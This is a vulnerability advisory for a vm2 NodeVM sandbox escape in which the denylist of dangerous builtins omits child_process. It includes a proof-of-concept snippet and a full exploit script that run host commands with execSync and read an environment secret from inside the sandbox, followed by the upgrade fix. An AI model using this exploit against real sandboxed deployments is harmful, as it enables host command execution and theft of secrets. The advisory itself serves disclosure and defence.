CVE-2026-93605: vm2 contains a sandbox escape vulnerability
vm2 NodeVM versions before 3.12.1 contain a sandbox escape vulnerability where the DANGEROUS_BUILTINS denylist omits child_process despite blocking other host-spawning modules. Attackers can require child_process and execute arbitrary commands on the host system when NodeVM is configured with builtin:['*'] or explicit child_process allowance. This fork hardens `NodeVM` with a `DANGEROUS_BUILTINS` denylist that blocks host‑code‑reaching core modules **even when the sandbox requests `builtin:['*']` or names them explicitly** — the list contains `module`, `worker_threads`, `cluster`, `vm`, `repl`, `inspector`, `process`, `trace_events`, `wasi`, `diagnostics_channel`, `async_hooks`, `perf_hooks`, `v8`, `os`, `dns`, and `test`. It **omits `child_process`** — the single most direct command‑execution primitive. As a result, a sandbox running under `require:{builtin:['*']}` (or the fork's own documented `['*','-http','-net',…]` subtract pattern) can `require('child_process').execSync(...)` and execute arbitrary commands on the host. The omission is internally inconsistent: `cluster` is denied with the explicit rationale "`cluster.fork()` spawns a host child process running attacker‑controlled code," yet `child_process` — which spawns host processes more directly — is not. ### Details `lib/builtin.js`: - `DANGEROUS_BUILTINS` (lines **83‑179**) — the Set of denied builtins. `child_process` does not appear anywhere in it. - `isDangerousBuiltin(key)` (lines **185‑195**) — strips `node:` prefixes and applies family‑prefix matching against `DANGEROUS_BUILTINS`. Returns `false` for `child_process`. - `BUILTIN_MODULES` (lines **209‑210**) — the source list that the `'*'` wildcard expands to — is `builtinModules.filter(s => !s.startsWith('internal/') && !s.startsWith('_') && !isDangerousBuiltin(s))`. Because `isDangerousBuiltin('child_process')` is `false`, `child_process` **remains in `'*'`**. - `addDefaultBuiltin` (the explicit‑name path) likewise rejects only `isDangerousBuiltin` names, so `builtin:['child_process']` is admitted as well. The module returned is the **real host `child_process`** (default `require.context` is `"host"`), so `execSync`/`exec`/`spawn`/`fork` run with full host authority. The denylist's own comment (lines 42‑44) states these primitives "must NEVER be reachable from the sandbox, even when the user requests `'*'` or explicitly names them" — the invariant `child_process` violates. ### PoC ```js const { NodeVM } = require('vm2'); const r = new NodeVM({ require: { builtin: ['*'] } }).run(` module.exports = require('child_process').execSync('id').toString(); `, 'plugin.js'); console.log(r); // -> "uid=1000(user) gid=1000(user) groups=..." host command execution ``` Verified results: | config | `require('child_process')` | |---|---| | `{ builtin: ['*'] }` | **RCE** — host `id` + host env read | | `{ builtin: ['*', '-fs'] }` (documented subtract pattern) | **RCE** — subtracting other modules does not remove it | | `{ builtin: ['child_process'] }` | **RCE** — explicit name admitted despite the "never, even if named" invariant | | `{ builtin: ['fs'] }` (control) | denied — `Cannot find module 'child_process'` | ### Impact Full host RCE — a complete `NodeVM` sandbox escape — for any deployment that runs untrusted code under `require:{builtin:['*']}` or the documented `['*', '-x', …]` subtract pattern (both of which the fork explicitly supports and hardens), or that explicitly allows `child_process` believing the denylist would reject it as it does the other host‑spawning builtins. The attacker controls only their sandboxed script; the exploit is a single `require('child_process')`. ### builtin-child_process-denylist-gap-rce.js ```js 'use strict'; // F-006: vm2 NodeVM DANGEROUS_BUILTINS denylist omits `child_process`. // The fork's denylist (lib/builtin.js:83-179) blocks host-code-reaching builtins // even under `builtin:['*']` or explicit naming — module, worker_threads, // cluster, vm, repl, inspector, process, os, dns, v8, test, ... — but NOT // child_process. So `require:{builtin:['*']}` (an allow-all config the fork // explicitly hardens) yields direct host RCE. Attacker controls only the // sandboxed script. const path = require('path'); const { NodeVM } = require(path.resolve(__dirname, '..', 'src', 'vm2', 'lib', 'main.js')); process.env.HOST_ONLY_SECRET = 'CANARY123'; // host-only; sandbox process stub has env:{} function tryConfig(label, opts) { try { const r = new NodeVM({ ...opts, timeout: 2000 }).run(`module.exports = (() => { try { const cp = require('child_process'); return { reached: true, id: cp.execSync('id').toString().trim(), hostSecret: cp.execSync('printenv HOST_ONLY_SECRET').toString().trim() }; } catch (e) { return { reached: false, err: String(e.message).slice(0, 60) }; } })()`, 'plugin.js'); console.log(label, '=>', JSON.stringify(r)); return r; } catch (e) { console.log(label, '=> THREW:', e.message.slice(0, 60)); return null; } } console.log('--- child_process reachability by NodeVM require config ---'); const a = tryConfig("require:{builtin:['*']} ", { require: { builtin: ['*'] } }); const b = tryConfig("require:{builtin:['*','-fs']} ", { require: { builtin: ['*', '-fs'] } }); // documented subtract pattern const c = tryConfig("require:{builtin:['fs']} (ctl) ", { require: { builtin: ['fs'] } }); // control: not allowed -> denied const ok = a && a.reached && /uid=/.test(a.id) && a.hostSecret === 'CANARY123' && b && b.reached && c && c.reached === false; console.log(ok ? "\n>>> CONFIRMED: builtin:['*'] gives host RCE via child_process (denylist gap); control denies it when not allowed" : "\n>>> NOT confirmed"); process.exit(ok ? 42 : 1); ```
Recommended action
Recommended action
Upgrade affected packages to a patched version: vm2 3.12.1.
Technical details
- Vendor
- Not specified
- Product
- vm2
- Exploitation
- none known
- Evidence
- official
Evidence and sources
This record is attributed to GitHub Advisories. Exploitation status and remediation guidance are kept separate from the vulnerability's technical severity.
Open primary source